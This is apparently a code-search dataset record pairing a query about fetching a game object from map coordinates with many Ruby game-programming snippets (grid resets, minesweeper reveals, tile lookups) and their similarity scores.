CDK::SCREEN.unregister(:MATRIX, self)\n end", "def filler(y, x)\n screen.board[y][x].state = \"o\"\n self\n end", "def reset!\n @x = @init_x\n @y = @init_y\n end", "def del\r\n @@tiles.delete_at(@tileno)\r\n @x1,@y1,@x2,@y2,@inclusive,@id,@tileno=nil\r\n end", "def reset_coordinates\n self.latitude = nil\n self.longitude = nil\n end", "def reset_cells\n live_cells.to_a.each { |v| grid.unfill_cell v }\n @current_generation = 0\n `$(#{self}).trigger('reset')`\n end", "def tick\n lose_energy\n if @energy <= 0\n @world.roids.delete self\n end \n end", "def reset\r\n @cells = [\" \", \" \", \" \", \" \", \" \", \" \", \" \", \" \", \" \"]\r\n end", "def clear\n raise ArgumentError.new(\"There is no image\") if self.data == []\n @data = Matrix.build(self.data.row_count, self.data.column_count) {\"O\"}\n end", "def clear_hits\r\n (0..h).each do |y|\r\n (0..w).each do |x|\r\n @map[x][y].clear()\r\n end\r\n end\r\n end", "def reset_coordinates\n self.other_latitude = nil\n self.other_longitude = nil\n end", "def clear\n\t\t@screen.fill_rect 0, 0, @width, @height, @color_bg\n\tend", "def clear_canvas(data)\n ActionCable.server.broadcast 'games', clear: true\n end", "def empty\n @x = @y = @width = @height = self.true_x = self.true_y =\n self.true_width = self.true_height = 0\n self\n end", "def erase\n call Screen.setColor(false)\n call Screen.drawRectangle(@x, @y, @x + @size, @y + @size)\n end", "def cell_cleared?(row, col)\n @board[row][col].cleared\n end", "def reset!\n # can't set it to cells for some reason\n @cells = Array.new(grid_size) { Array.new(grid_size, \" \")}\n end", "def clear\n # Remove all of the shortcut methods\n cell_names.each {|name| builder.undef_cell(name)}\n cells.clear\n end", "def clear(row, col)\n if !@field[row][col].contains_mine?\n @field[row][col].reveal!\n if row == 0 && col == 0\n if !@field[row][col + 1].contains_mine? && !@field[row + 1][col].contains_mine? && !@field[row + 1][col + 1].contains_mine?\n @field[row][col + 1].reveal!\n @field[row + 1][col].reveal!\n @field[row + 1][col + 1].reveal!\n end\n elsif row == 0 && col == @column_count - 1\n if !@field[row][col - 1].contains_mine? && !@field[row + 1][col - 1].contains_mine? && !@field[row + 1][col].contains_mine? &&\n @field[row][col - 1].reveal!\n @field[row + 1][col - 1].reveal!\n @field[row + 1][col].reveal!\n end\n elsif row == @row_count - 1 && col == 0\n if !@field[row][col + 1].contains_mine? && !@field[row - 1][col + 1].contains_mine? && !@field[row - 1][col].contains_mine? &&\n @field[row][col + 1].reveal!\n @field[row - 1][col + 1].reveal!\n @field[row - 1][col].reveal!\n end\n elsif row == @row_count - 1 && col == @column_count - 1\n if !@field[row][col - 1].contains_mine? && !@field[row - 1][col - 1].contains_mine? && !@field[row - 1][col].contains_mine? &&\n @field[row][col - 1].reveal!\n @field[row - 1][col - 1].reveal!\n @field[row - 1][col].reveal!\n end\n elsif row == 0\n if !@field[row][col - 1].contains_mine? && !@field[row][col + 1].contains_mine? && !@field[row + 1][col - 1].contains_mine? && !@field[row + 1][col].contains_mine? && !@field[row + 1][col + 1].contains_mine? &&\n @field[row][col - 1].reveal!\n @field[row][col + 1].reveal!\n @field[row + 1][col - 1].reveal!\n @field[row + 1][col].reveal!\n @field[row + 1][col + 1].reveal!\n end\n elsif col == 0\n if !@field[row - 1][col].contains_mine? && !@field[row - 1][col + 1].contains_mine? && !@field[row][col + 1].contains_mine? && !@field[row - 1][col].contains_mine? && !@field[row - 1][col + 1].contains_mine? &&\n @field[row - 1][col].reveal!\n @field[row - 1][col + 1].reveal!\n @field[row][col + 1].reveal!\n @field[row - 1][col].reveal!\n @field[row - 1][col + 1].reveal!\n end\n elsif row == @row_count - 1\n if !@field[row][col - 1].contains_mine? && !@field[row][col + 1].contains_mine? && !@field[row - 1][col - 1].contains_mine? && !@field[row - 1][col].contains_mine? && !@field[row - 1][col + 1].contains_mine? &&\n @field[row][col - 1].reveal!\n @field[row][col + 1].reveal!\n @field[row - 1][col - 1].reveal!\n @field[row - 1][col].reveal!\n @field[row - 1][col + 1].reveal!\n end\n elsif col == @column_count - 1\n if !@field[row - 1][col].contains_mine? && !@field[row - 1][col - 1].contains_mine? && !@field[row][col - 1].contains_mine? && !@field[row - 1][col].contains_mine? && !@field[row - 1][col - 1].contains_mine? &&\n @field[row - 1][col].reveal!\n @field[row - 1][col - 1].reveal!\n @field[row][col - 1].reveal!\n @field[row - 1][col].reveal!\n @field[row - 1][col - 1].reveal!\n end\n elsif row > 0 && row < @row_count && col > 0 && col < @column_count\n adjacent_cells(row, col).each do |cell|\n if !cell.contains_mine?\n cell.reveal!\n end\n end\n end\n else @field[row][col].reveal!\n end\n end", "def reset!\n @cells = [\" \", \" \", \" \", \" \", \" \", \" \", \" \", \" \", \" \"]\n end", "def reset!\n\t\t@cells = [\" \", \" \", \" \", \" \", \" \", \" \", \" \", \" \", \" \"]\n\tend", "def moveto(x, y)\n #@ox = x; @oy = y\n @x = x % $game_map.width\n @y = y % $game_map.height\n #kk20\n @real_x = @x * 128 + 64\n @real_y = @y * 128 + 64\n end", "def reset\n @grid = empty_grid\n end", "def clear!; end", "def clear!; end", "def clear!; end", "def clear\n self.map.clear\n end", "def set_obstacle(y, x)\n @board[y][x] = '#'\n end", "def clear_rect(rect, z=0)\n fill_rect(rect, 0, z)\n end", "def clean\n (1..@rows).each do |x|\n (1..@cols).each do |y|\n self.cleanCell(x, y)\n end\n end\n end", "def input_remove_wall\n # The mouse needs to be inside the grid, because we only want to remove walls\n # the cursor is directly over\n # Recalculations should only occur when a wall is actually deleted\n if mouse_over_grid?\n if state.walls.key?(cell_closest_to_mouse) or state.hills.key?(cell_closest_to_mouse)\n state.walls.delete(cell_closest_to_mouse)\n state.hills.delete(cell_closest_to_mouse)\n reset_search\n end\n end\n end", "def clear(r, g, b, a)\n com.badlogic.gdx.Gdx.gl.glClearColor(r, g, b, a)\n com.badlogic.gdx.Gdx.gl.glClear(com.badlogic.gdx.graphics.GL20.GL_COLOR_BUFFER_BIT)\n end", "def clear_board\n FXDCWindow.new(@image) do |dc|\n dc.foreground = BACK_COLOR\n dc.fillRectangle(0, 0, IMG_WIDTH, IMG_HEIGHT)\n end\n board_draw\n end", "def clear() \n @obj.clear() \n end", "def reset!\n @cells.clear\n @cells = Array.new(9, \" \")\n end", "def reset_board\n # append nil to all cells to reset\n self.r1_c1 = nil\n self.r1_c2 = nil\n self.r1_c3 = nil\n self.r2_c1 = nil\n self.r2_c2 = nil\n self.r2_c3 = nil\n self.r3_c1 = nil\n self.r3_c2 = nil\n self.r3_c3 = nil\n end", "def clearRect(x, y, width, height)\n r = make_rect x, y, width, height\n r.fill = SolidColorBrush.new(Colors.White)\n r.stroke = SolidColorBrush.new(Colors.White)\n add_child r\n end", "def cell_cleared?(row, col)\n grid[row][col].uncovered\n\n end", "def cleanCell(row, col)\n if row > 0 && row <= @rows && col > col <= @cols\n @info[row][col] = ''\n end\n end", "def clear_scale\n\n @vmin = nil\n @vmax = nil\n @vxmin = nil\n @vxmax = nil\n @divisions = nil\n @xdivisions = nil\n end", "def reset()\n\n @board.locations.each do |row|\n row.each do |location|\n \n # removes all pieces from the board.\n if location\n location.removePiece() \n end\n end\n end\n\n # player 1, remove all pieces\n for piece in @player1.unplayedPieces\n piece = nil\n end\n\n # player2, remove all pieces\n for piece in @player2.unplayedPieces\n piece = nil \n end\n\n # calls start game\n startGame(@player1, @player2)\n\n end", "def cell_cleared?(row, col)\n @grid[row][col].uncovered\n end", "def clear() end", "def clear() end", "def clear\n @bitmap = solid_canvas(DEFAULT_COLOR)\n end", "def reset!\n cells.clear\n self.cells = Array.new(9, \" \")\n end", "def input_remove_wall\n # The mouse needs to be inside the grid, because we only want to remove walls\n # the cursor is directly over\n # Recalculations should only occur when a wall is actually deleted\n if mouse_inside_grid?\n if grid.walls.key?(cell_closest_to_mouse)\n grid.walls.delete(cell_closest_to_mouse)\n reset_search\n end\n end\n end", "def remove_piece(piece)\n piece.piece_cells.each_with_index do |row, j|\n row.each_with_index do |cell, i|\n @cells[piece.y + j][piece.x + i] = 0 if cell == 1\n end\n end\n end", "def clear_small_wall\n for row_i in 1...@height - 1\n for column_i in 1...@width - 1\n total_wall = count_adjacent_wall(row_i, column_i)\n\n if @map[row_i][column_i] == @WALL\n if total_wall < 2\n @map[row_i][column_i] = @FLOOR\n next\n end\n end\n end\n end\n end", "def reset!\n @cells = Array.new(9,\" \")\n end" ]
[ "0.7377549", "0.72605497", "0.7105468", "0.7035787", "0.6756658", "0.67354476", "0.66895396", "0.66590184", "0.6643097", "0.664032", "0.65423584", "0.6502671", "0.6464164", "0.6455628", "0.6430879", "0.63509613", "0.6348454", "0.6347402", "0.63472384", "0.63088566", "0.6276556", "0.6274916", "0.6271502", "0.62463135", "0.62463135", "0.624072", "0.6216917", "0.62145287", "0.6170234", "0.6150585", "0.6111025", "0.6049124", "0.6015596", "0.60142696", "0.59914", "0.59914", "0.59810686", "0.5965499", "0.5939134", "0.59381586", "0.59300846", "0.5921252", "0.59022284", "0.5893743", "0.58926976", "0.5884249", "0.58722574", "0.58587617", "0.58576626", "0.5846109", "0.58457047", "0.58415914", "0.583272", "0.5800106", "0.57895935", "0.57624525", "0.5734682", "0.5706477", "0.5692235", "0.56762606", "0.5659842", "0.5659289", "0.5656659", "0.56344974", "0.56234354", "0.5612009", "0.56116766", "0.5606644", "0.5590622", "0.5587107", "0.5576942", "0.5570846", "0.5563761", "0.55528396", "0.55528396", "0.55528396", "0.5550348", "0.55401367", "0.5536733", "0.5535701", "0.55344635", "0.5533238", "0.5532877", "0.55271393", "0.5524218", "0.54934233", "0.54755825", "0.54637843", "0.5461051", "0.5456134", "0.54533136", "0.5445555", "0.5438369", "0.5438369", "0.5435922", "0.54307234", "0.54287654", "0.54164255", "0.5416078", "0.5411025" ]
0.77544993
0
Gets game object from map that resides on real world coordinates x/y
def at(x, y) lookup_x = (x / @grid[0]).to_i lookup_y = (y / @grid[1]).to_i @map[lookup_x][lookup_y] rescue nil # Benchmark this against @map[lookup_x] && @map[lookup_x][lookup_y] => prob faster end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def objects_at_location\n map.objects_at_player_location\n end", "def loc\r\n { x: @mapx,\r\n y: @mapy }\r\n end", "def from_game_object(game_object)\r\n start_x = (game_object.bb.left / @grid[0]).to_i\r\n stop_x = (game_object.bb.right / @grid[0]).to_i\r\n \r\n (start_x .. stop_x).each do |x|\r\n start_y = (game_object.bb.top / @grid[1]).to_i\r\n stop_y = (game_object.bb.bottom / @grid[1]).to_i\r\n \r\n (start_y .. stop_y).each do |y|\r\n return @map[x][y] if @map[x] && @map[x][y]\r\n end\r\n \r\n end\r\n return nil\r\n end", "def get_objects_at_coord(x_location, y_location)\n get_world_array[Matrix.two_to_one(x_location, y_location, @x_size)]\n end", "def origin\n Entities::Point.new(\n (Game::WIDTH - map.pixel_width) / 2,\n (Game::HEIGHT - map.pixel_height) / 2\n )\n end", "def get_map_pos(scr_x, scr_y)\n return Vector.new((scr_x + @cam.x) / @tile_size.x, (scr_y + @cam.y) / @tile_size.y) unless @isometric\n\n # Gets the position transformed to isometric coordinates\n v = get_isometric_position scr_x, scr_y\n\n # divides by the square size to find the position in the matrix\n Vector.new((v.x * @inverse_square_size).to_i, (v.y * @inverse_square_size).to_i)\n end", "def get_screen_pos(map_x, map_y)\n return Vector.new(map_x * @tile_size.x - @cam.x, map_y * @tile_size.y - @cam.y) unless @isometric\n Vector.new ((map_x - map_y - 1) * @tile_size.x * 0.5) - @cam.x + @x_offset,\n ((map_x + map_y) * @tile_size.y * 0.5) - @cam.y\n end", "def mapx\n return $game_map.events[@id].real_x * 32\n end", "def get_zone(x, y, worldmap_id = @worldmap)\n zone_id = GameData::WorldMap.get(worldmap_id).data[x, y]\n return zone_id && zone_id >= 0 ? GameData::Zone.get(zone_id) : nil\n end", "def map\r\n return (@map) ? @map : $game_map\r\n end", "def get_object\n next_x = @cur_x + DIRECTION[@hero_direction][0]\n next_y = @cur_y + DIRECTION[@hero_direction][1]\n return if next_x < 0 || next_x > 14 || next_y < 0 || next_y > 14\n #look at new square in room\n next_square = @room[next_x][next_y]\n if next_square == CHAR_POTION || next_square == CHAR_CHEST || next_square == CHAR_IDOL\n @room[next_x][next_y] = CHAR_FLOOR\n draw_map(next_x,next_y)\n @potions += 1 if next_square == CHAR_POTION\n @treasure += 1 if next_square == CHAR_CHEST\n @idol_found = true if next_square == CHAR_IDOL\n @stats[:experience] += 0.25\n end\n end", "def pos\r\n { x: @tile.x,\r\n y: @tile.y }\r\n end", "def lookup_by_coords(x, y)\n diameter = Cfg.galaxy_zone_diameter\n lookup(\n (x.to_f / diameter).floor,\n (y.to_f / diameter).floor\n )\n end", "def mapy\n return $game_map.events[@id].real_y * 32\n end", "def get_point(pos)\n @grid[pos[0]][pos[1]]\n end", "def selected_object\n if @grabbed_entity_id\n grabbed = space[@grabbed_entity_id]\n return grabbed if grabbed\n end\n space.near_to(*mouse_coords)\n end", "def cell_at_point(x, y)\n [x / Entity::WIDTH, y / Entity::HEIGHT ]\n end", "def get_object(goid)\n @game_objects[goid]\n end", "def tile_at x,y\n return nil if x < 0 || y < 0 || x >= @width || y >= @height\n return @map[x][y] \n end", "def moveto(x, y)\n #@ox = x; @oy = y\n @x = x % $game_map.width\n @y = y % $game_map.height\n #kk20\n @real_x = @x * 128 + 64\n @real_y = @y * 128 + 64\n end", "def get_world;\t@world \t\tend", "def element_at target_pos\n return game_objects.find{ |object| object.position == target_pos }\n end", "def geo\n fetch('creature.bird.geo')\n end", "def at x, y\n @map[x][y]\n end", "def room\n @map[@row][@col]\nend", "def entity_at_point(x, y)\n all = at(*cell_at_point(x, y)).find_all do |e|\n e.x <= x && e.x > (x - Entity::WIDTH) &&\n e.y <= y && e.y > (y - Entity::HEIGHT)\n end\n raise \"More than one entity at #{x}x#{y}: #{all.inspect}\" if all.size > 1\n all.first\n end", "def cal_pos\n x, y = map_location(@grid_x, @grid_y)\n x += @tile_size/2\n y += @tile_size/2\n [x,y]\n end", "def getMapIndex(x, y)\n return y * @width + x;\n end", "def coord_geographic\n FACTORY.unproject(self.coord)\n end", "def unit_at(x,y)\n cell = @cells.find {|cell| cell.x == x and cell.y == y }\n cell.unit.view if cell\n end", "def humanoid_coords_for_tile x, y\n tilewidth = @zone.spritesheet[:tilewidth]\n tileheight = @zone.spritesheet[:tileheight]\n sheetwidth = @zone.spritestack[:width] * @zone.spritesheet[:tilewidth]\n sheetheight = @zone.spritestack[:height] * @zone.spritesheet[:tileheight]\n\n # Center of terrain tile\n center_x = tilewidth * x + tilewidth / 2\n center_y = tileheight * y + tileheight / 2\n\n # Humanoid sprites generally have feet at about (32, 52). So if a\n # humanoid sprite was standing at tile 0, 0, you'd want the pixel\n # center at (16, 16) to line up with the humanoid sprite's feet at\n # (32, 52).\n [ center_x - 32, center_y - 52 ]\n end", "def get_position(x, y)\r\n\t\treturn maze[y][x]\r\n\tend", "def location\n [@posX, @posY, @facing]\n end", "def get_real_point\n pos_x = x * get_scale(:x)\n pos_y = y * get_scale(:y)\n return Point.new(pos_x, pos_y) unless (has_layer?)\n real_point = get_layer.get_real_point\n return Point.new(\n (real_point.x + pos_x),\n (real_point.y + pos_y)\n )\n end", "def get_at(point)\n board[coords_to_pos(point)]\n end", "def screen\n return $game_map.screen\n end", "def world\n region.world\n end", "def map_id\n $game_map.map_id\n end", "def [](x, y)\n return @tiles[x][y] if within? x, y\n end", "def get_distance\n return Math.hypot($game_player.real_x * 32 -\\\n self.mapx, $game_player.real_y * 32 - self.mapy)\n end", "def loc2(x,y)\n TwoDGridLocation.new x, y\nend", "def pos?(x, y)\n return (@map_id == $game_map.map_id and super(x, y))\n end", "def position\n fetch('football.positions')\n end", "def update_position\n case @picture.info[:map_mode]\n when 1\n self.x = -$game_map.display_x * 32 + @picture.xo\n self.y = -$game_map.display_y * 32 + @picture.yo\n when 2\n self.x = -$game_map.display_x * 32\n self.y = -$game_map.display_y * 32\n else\n self.x = self.y = 0\n end\n self.z = @picture.info[:z] ? @picture.info[:z] : 100\n end", "def get_random_position\n arr = $game_map.region_tile_mapping[@page.random_position_region]\n return arr.delete_at(rand(arr.length))\n end", "def in_world_map?\n worldmap_id == $game_map.map_id;\n end", "def world\n world_address = MSPhysics::Newton::Gear.get_world(@address)\n MSPhysics::Newton::Gear.get_user_data(world_address)\n end", "def tile_id(x, y, layer, map_id = nil)\n return $game_map.tile_id(x, y, layer) unless map_id\n Cache.map(map_id).data[x, y, layer]\n end", "def lookup(x, y, coordinate_system=:row_col)\n @board[index_for(x, y, coordinate_system)]\n end", "def getMapValue(x, y)\n index = self.getMapIndex(x, y)\n return @mapArray[index];\n end", "def draw_map_obj\n MapCellWall.destroy_all\n MapCellGen.destroy_all\n HPBar.destroy_all\n clear_towers\n $map.occupied_spaces.each do |cell|\n x = cell.x\n y = cell.y\n case cell.object\n when MapAbxn::Wall\n MapCellWall.create(:x => $node_size * 5 * x + $node_size * 5 / 2.0, :y => $node_size * 5 * y + $node_size * 5/2.0)\n when MapAbxn::Tower\n draw_tower(cell.object, $node_size * 5 * x, $node_size * 5 * y, 0.1)\n when MapAbxn::Generator\n MapCellGen.create(:x => $node_size * 5 * x + $node_size * 5 / 2.0, :y => $node_size * 5 * y + $node_size * 5/2.0)\n end\n end\n end", "def compute_position\n # The negative and the ninety are the fudge to compensate for our map.\n lat = @latitude_radians = radians(-@latitude)\n long = @longitude_radians = radians(@longitude + 90)\n radius = $app.globe.diameter / 2.0 - 23\n @x = radius * cos(lat) * sin(long)\n @y = radius * sin(lat)\n @z = radius * cos(lat) * cos(long)\n end", "def coords; {:x => @x, :y => @y} end", "def get_person(x_location, y_location)\n @all_persons.each do |person|\n if person.get_x_location == x_location and person.get_y_location == y_location\n return person\n else\n return nil\n end\n end\n end", "def get_tile_position(x, y)\n spacing = Vector2.new((assets.tile_width/2.0).round, (assets.tile_height/2.0).round)\n Vector2.new((-x * spacing.x) + (y * spacing.x) - y + x + OFFSET.x,\n (x * spacing.y) + (y*spacing.y) - y - x + OFFSET.y)\n end", "def at(coords)\n return nil unless self.exists_at?(coords)\n @board[coords[0]][coords[1]]\n end", "def spritesheet_coordinates\n return -184, 20\n end", "def coord(x); (x*@game.height).to_i; end", "def location_point(location)\n coord = projection.location_coordinate(location).zoom_to(zoom)\n point = (coord - @origin_tile) * [@tile_width, @tile_height]\n return absolute_point(point)\n end", "def map\r\n\t\t\t@maps[@map]\r\n\t\tend", "def lon\n @position[1]\n end", "def to_world_px(lat_deg, lon_deg, zoom)\n # scale the latitude via mercator projections\n # see http://en.wikipedia.org/wiki/Mercator_projection#Derivation_of_the_Mercator_projection\n lat_scaled_rad = Math.log( Math.tan( Rational(Math::PI, 4) + Rational(TO_RAD * lat_deg, 2) ))\n # https://developers.google.com/maps/documentation/javascript/examples/map-coordinates\n wx = (TILE_SIZE / 2) + PX_PER_RAD * (TO_RAD * lon_deg)\n wy = (TILE_SIZE / 2) - PX_PER_RAD * lat_scaled_rad\n tiles_count = 2**zoom\n [(wx * tiles_count).to_i, (wy * tiles_count).to_i]\n end", "def xy\n @geometries.dig(@geometry_index, @coordinates_index)\n end", "def creature?(x,y)\n ret = nil\n if @player\n ret = @player if @player.x == x && @player.y == y\n end\n if @creatures\n @creatures.each do |c|\n ret = c if (c.x == x && c.y == y)\n end\n end\n return ret\n end", "def geolocate\n loc = Zoogle.graveyard_locator(self.graveyard)\n \"#{loc[:latitude]}, #{loc[:longitude]}\"\n end", "def [](x, y)\r\n return nil if x < 1 || x > @width || y < 1 || y > @height\r\n \r\n square = get(x-1, y-1, :terrain)\r\n end", "def draw_map_position(x, y)\n contents.fill_rect(x, y, 3, 3, Color.new(255, 0, 0))\n end", "def logical_pos(x, y)\n [\n (x / @tile_width).floor,\n (y / @tile_height).floor\n ]\n end", "def entities_at(x, y)\n entities = []\n @living_entities.each do |entity|\n entities << entity if entity.location and entity.location == [x, y]\n end\n\n return entities\n end", "def point_location(point)\n # origin tile at maximum zoom\n hizoom_origin_tile = @origin_tile.zoom_to(Coordinate::MAX_ZOOM)\n\n # distance in tile widths from reference tile to point\n tiles_distance = relative_point(point) / [@tile_width, @tile_height]\n\n # distance in rows & columns at maximum zoom\n distance = Coordinate.new(tiles_distance.x, tiles_distance.y, zoom).zoom_to(Coordinate::MAX_ZOOM)\n distance.z = 0\n\n # absolute tile at maximum zoom\n tile = (hizoom_origin_tile + distance).round!\n tile = tile.zoom_to(zoom)\n\n location = projection.coordinate_location(tile)\n return location\n end", "def locate_place(coords)\n return nil if out_of_bounds?(coords)\n\n @board[coords[0]][coords[1]]\n end", "def player_position\n @ole.PlayerPosition\n end", "def event_at(x, y)\n result = $game_map.event_id_xy(x, y)\n return result if result > 0\n return 0 if $game_player.x == x && $game_player.y == y\n return -1\n end", "def create_world_map\n @world_map = World_Minimap.new(@viewport2)\n open_world_map\n end", "def object_position(obj)\n return obj.y\n end", "def object_position(obj)\n return obj.y\n end", "def proxy_coord\n execute(:proxy, :coord).to_a\n end", "def pos(tilew, tileh, hmul, x,y)\n r = $map[y] || []\n my = 0\n tile = \"grass\"\n if r.is_a?(Array)\n my = r[x] || 0\n else\n # I apply a factor of 0.7 here, as pure\n # integer multiples of the tile height looks\n # odd. In a proper map representation I may\n # make the height much more granular.\n my = r[x*2].to_i * hmul.to_f * 0.7\n tile = $tiletypes[r[x*2+1]]\n end\n return (x-y)*tilew + 600, -(x+y)*tileh +540 + my*tileh, my, tile\nend", "def client_world_rectangle\n @automation_client_world_rect\n end", "def get_piece(pos)\n @grid[pos[0]][pos[1]]\n end", "def loadworld\r\n\t\t\t@world = @save.world\r\n\t\tend", "def get_cell(x, y)\n grid[x][y]\n end", "def objects\n [@player] + @map.objects\n end", "def tile_at(x, y)\n tiles_at(x, y).last\n end", "def object_position(obj)\n return obj.x\n end", "def object_position(obj)\n return obj.x\n end", "def geoObject()\n return @shape ;\n end", "def position\n V[x, y]\n end", "def center(x, y)\n max_x = ($game_map.width - 20) * 128\n max_y = ($game_map.height - 15) * 128\n $game_map.display_x = [0, [x * 128 - CENTER_X, max_x].min].max\n $game_map.display_y = [0, [y * 128 - CENTER_Y, max_y].min].max\n end", "def location\n fetch('games.super_mario.locations')\n end", "def in_world?\n return false if lat < -90 || lat > 90\n return false if lon < -180 || lon > 180\n true\n end", "def at(cell_x, cell_y)\n assert_ok_coords(cell_x, cell_y)\n @grid[cell_x - 1][cell_y - 1]\n end", "def relative(mode = :terrain)\r\n modifier = mode == :terrain ? -1 : 1\r\n Position.new(map, (@x + modifier)/2, (@y + modifier)/2)\r\n end", "def create_map\n @map = Sprite.new\n @map.bitmap = Cache.picture(MAP_PICTURE)\n @map.x = M_X\n @map.y = M_Y\n @map.z = 11\n end", "def pos\n return Rubygame::Ftor.new(@x,@y)\n end", "def display_world\n Matrix.draw_matrix(get_world_array, @x_size, @y_size)\n end", "def getCell(x, y)\n return @grid.getCell(x,y)\n end", "def good_camera_position_for(entity, screen_width, screen_height)\n # Given plenty of room, put the entity in the middle of the screen\n # If doing so would expose the area outside the world, move the camera just enough\n # to avoid that\n # If the world is smaller than the window, center it\n\n# puts \"Screen in pixels is #{screen_width}x#{screen_height}; world in pixels is #{pixel_width}x#{pixel_height}\"\n camera_x = if screen_width > pixel_width\n (pixel_width - screen_width) / 2 # negative\n else\n [[entity.pixel_x - screen_width/2, pixel_width - screen_width].min, 0].max\n end\n camera_y = if screen_height > pixel_height\n (pixel_height - screen_height) / 2 # negative\n else\n [[entity.pixel_y - screen_height/2, pixel_height - screen_height].min, 0].max\n end\n\n# puts \"Camera at #{camera_x}x#{camera_y}\"\n [ camera_x, camera_y ]\n end", "def at(pos)\n @map[pos]\n end", "def tile\n tile_at(@position)\n end" ]
[ "0.71199524", "0.69049", "0.6817893", "0.67272764", "0.64460254", "0.64176655", "0.6391938", "0.6283303", "0.6246024", "0.62288046", "0.6112392", "0.60864735", "0.60761696", "0.6029093", "0.6016484", "0.6014212", "0.6007964", "0.5955413", "0.5950714", "0.5933283", "0.59189457", "0.5890314", "0.58673483", "0.5861449", "0.58462095", "0.583378", "0.57838154", "0.5777196", "0.57694775", "0.5762631", "0.5752843", "0.5739696", "0.57390594", "0.57377255", "0.57307297", "0.5710106", "0.5709372", "0.5701434", "0.5683669", "0.5655268", "0.5640009", "0.5637126", "0.56267446", "0.5605977", "0.5584749", "0.55842537", "0.5571908", "0.5554509", "0.5550686", "0.55443186", "0.55328494", "0.5519967", "0.55127925", "0.5492428", "0.54826367", "0.5469057", "0.5468837", "0.5461318", "0.54604334", "0.5458521", "0.54454756", "0.54339314", "0.543046", "0.542855", "0.54264224", "0.5422629", "0.5421118", "0.54200184", "0.5418262", "0.54132813", "0.5408086", "0.5405582", "0.5404616", "0.5404464", "0.5403012", "0.5403012", "0.53986216", "0.53971666", "0.5393935", "0.5393021", "0.53866005", "0.5380804", "0.53805405", "0.5378355", "0.53729117", "0.5372552", "0.5369119", "0.53645915", "0.535746", "0.5351177", "0.5347266", "0.53463537", "0.533216", "0.5327291", "0.5308055", "0.53046167", "0.52990836", "0.5298091", "0.52864945", "0.52816755" ]
0.61355525
10
Return the first game object occupying any of the cells that given 'game_object' covers
def from_game_object(game_object) start_x = (game_object.bb.left / @grid[0]).to_i stop_x = (game_object.bb.right / @grid[0]).to_i (start_x .. stop_x).each do |x| start_y = (game_object.bb.top / @grid[1]).to_i stop_y = (game_object.bb.bottom / @grid[1]).to_i (start_y .. stop_y).each do |y| return @map[x][y] if @map[x] && @map[x][y] end end return nil end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_object\n next_x = @cur_x + DIRECTION[@hero_direction][0]\n next_y = @cur_y + DIRECTION[@hero_direction][1]\n return if next_x < 0 || next_x > 14 || next_y < 0 || next_y > 14\n #look at new square in room\n next_square = @room[next_x][next_y]\n if next_square == CHAR_POTION || next_square == CHAR_CHEST || next_square == CHAR_IDOL\n @room[next_x][next_y] = CHAR_FLOOR\n draw_map(next_x,next_y)\n @potions += 1 if next_square == CHAR_POTION\n @treasure += 1 if next_square == CHAR_CHEST\n @idol_found = true if next_square == CHAR_IDOL\n @stats[:experience] += 0.25\n end\n end", "def element_at target_pos\n return game_objects.find{ |object| object.position == target_pos }\n end", "def background_object\n game_state.background_object_map.collisions_with(self).first\n end", "def find_cell(cells, x, y)\n cells.detect{|cell| cell.x == x && cell.y == y }\nend", "def will_collide_with(obj, arr)\n val = nil\n if obj.target_x\n arr.each do |group|\n @list[group].each do |element|\n unless element.object_id == obj.object_id\n if element.center_x == obj.target_x && element.center_y == obj.target_y\n val = element\n end\n end\n end\n end\n end\n val\n end", "def each_collision(game_object)\r\n start_x = (game_object.bb.left / @grid[0]).to_i\r\n stop_x = (game_object.bb.right / @grid[0]).to_i\r\n \r\n (start_x ... stop_x).each do |x|\r\n start_y = (game_object.bb.top / @grid[1]).to_i\r\n stop_y = (game_object.bb.bottom / @grid[1]).to_i\r\n \r\n (start_y ... stop_y).each do |y|\r\n yield @map[x][y] if @map[x] && @map[x][y] && @map[x][y] != game_object # Don't yield collisions with itself\r\n end\r\n end\r\n end", "def game_over \n # all the grid's cells are full and different numbers \n end", "def get_object(goid)\n @game_objects[goid]\n end", "def cell_occupied_by?(player, x, y)\n player.x == x && player.y == y\n end", "def find_random_cell(board)\n\t\topen_cell = nil\n\t\tWIN_COMBINATIONS.each do |combo|\n\t\t\thash = Hash.new\n\t\t\t# map index with board value\n\t\t\thash[combo[0]] = board.cells[combo[0]]\n\t\t\thash[combo[1]] = board.cells[combo[1]]\n\t\t\thash[combo[2]] = board.cells[combo[2]]\n\t\t\tif(hash.values.count(\"X\") == 1 && hash.values.include?(\" \"))\n\t\t\t\topen_cell = hash.key(\" \")+1\n\t\t\tend\n\t\tend\n\t\topen_cell\n\tend", "def find_first_empty_cell(grid, address)\n x = address % grid.width\n y = address / grid.width\n #puts \"--firstempty------\"\n while(y < grid.height)\n while(x < grid.width)\n #puts \"x: #{x} y: #{y}\"\n if(grid.grid[x][y] == 0)\n #puts \"---------------\"\n return y*grid.width + x\n end\n x = x + 1\n end\n x = 0\n y = y + 1\n end\n y*grid.width + x\n end", "def is_occupied?(x, y, game)\n game.pieces.where(location_x: x, location_y: y).present?\n end", "def cell_in_grid(y, x)\n return y >= 0 && x >= 0 && y < $grid.length && x < $grid.length\nend", "def get_living_neighbours(cell)\n living_neighbours = []\n\n #Checking the status of neighbouring cells, with checks for cases where the cell resides on the edge of the grid.\n if cell.y < rows - 1\n neighbour = game_grid[cell.x][cell.y + 1]\n living_neighbours.push(neighbour) if neighbour.alive?\n end\n\n if cell.x < cols - 1 && cell.y < rows - 1\n neighbour = game_grid[cell.x + 1][cell.y + 1]\n living_neighbours.push(neighbour) if neighbour.alive?\n end\n\n if cell.x < cols - 1\n neighbour = game_grid[cell.x + 1][cell.y]\n living_neighbours.push(neighbour) if neighbour.alive?\n end\n\n if cell.x < rows - 1 && cell.y > 0\n neighbour = game_grid[cell.x + 1][cell.y - 1]\n living_neighbours.push(neighbour) if neighbour.alive?\n end\n\n if cell.y > 0\n neighbour = game_grid[cell.x][cell.y - 1]\n living_neighbours.push(neighbour) if neighbour.alive?\n end\n\n if cell.x > 0 && cell.y > 0\n neighbour = game_grid[cell.x - 1][cell.y - 1]\n living_neighbours.push(neighbour) if neighbour.alive?\n end\n\n if cell.x > 0\n neighbour = game_grid[cell.x - 1][cell.y]\n living_neighbours.push(neighbour) if neighbour.alive?\n end\n\n if cell.x > 0 && cell.y < rows - 1\n neighbour = game_grid[cell.x - 1][cell.y + 1]\n living_neighbours.push(neighbour) if neighbour.alive?\n end\n\n return 